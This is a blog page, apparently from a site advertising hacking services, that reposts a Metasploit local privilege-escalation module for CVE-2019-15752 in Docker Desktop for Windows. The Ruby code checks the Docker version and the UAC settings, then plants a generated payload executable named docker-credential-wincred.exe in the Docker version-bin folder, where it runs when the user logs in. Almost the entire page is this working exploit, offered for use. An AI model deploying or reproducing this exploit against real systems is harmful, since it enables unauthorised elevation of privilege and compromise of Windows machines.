Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86371873

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ManualRanking

  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  include Post::Windows::Priv
  include Post::Windows::Runas

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Docker-Credential-Wincred.exe Privilege Escalation',
        'Description' => %q{
          This exploit leverages a vulnerability in docker desktop
          community editions prior to 2.1.0.1 where an attacker can write
          a payload to a lower-privileged area to be executed
          automatically by the docker user at login.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Morgan Roman', # discovery
          'bwatters-r7', # metasploit module
        ],
        'Platform' => ['win'],
        'SessionTypes' => ['meterpreter'],
        'Targets' => [[ 'Automatic', {} ]],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'WfsDelay' => 15
        },
        'DisclosureDate' => '2019-07-05',
        'Notes' =>
        {
          'SideEffects' => [ ARTIFACTS_ON_DISK ]
        },
        'References' => [
          ['CVE', '2019-15752'],
          ['URL', 'https://medium.com/@morgan.henry.roman/elevation-of-privilege-in-docker-for-windows-2fd8450b478e']
        ]
      )
    )
    register_options(
      [OptString.new('PROGRAMDATA', [true, 'Path to docker version-bin.', '%PROGRAMDATA%'])]
    )
  end

  def docker_version
    output = cmd_exec('cmd.exe', '/c docker -v')
    vprint_status(output)
    version_string = output.match(/(\d+\.)(\d+\.)(\d)/)[0]
    Gem::Version.new(version_string.split('.').map(&:to_i).join('.'))
  end

  def check
    if docker_version <= Gem::Version.new('18.09.0')
      return CheckCode::Appears
    end

    CheckCode::Safe
  end

  def exploit
    check_permissions!
    case get_uac_level
    when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,
      UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,
      UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
      fail_with(Failure::NotVulnerable,
                "UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...")
    when UAC_DEFAULT
      print_good('UAC is set to Default')
      print_good('BypassUAC can bypass this setting, continuing...')
    when UAC_NO_PROMPT
      print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')
      shell_execute_exe
      return
    end

    # make payload
    docker_path = expand_path("#{datastore['PROGRAMDATA']}\\DockerDesktop\\version-bin")
    fail_with(Failure::NotFound, 'Vulnerable Docker path is not on system') unless directory?(docker_path)
    payload_name = 'docker-credential-wincred.exe'
    payload_pathname = "#{docker_path}\\#{payload_name}"
    vprint_status('Making Payload')
    payload = generate_payload_exe

    # upload Payload
    vprint_status("Uploading Payload to #{payload_pathname}")
    write_file(payload_pathname, payload)
    vprint_status('Payload Upload Complete')
    print_status('Waiting for user to attempt to login')
  end

  def check_permissions!
    unless check == Exploit::CheckCode::Appears
      fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
    end
    fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?
    # Check if you are an admin
    # is_in_admin_group can be nil, true, or false
  end
end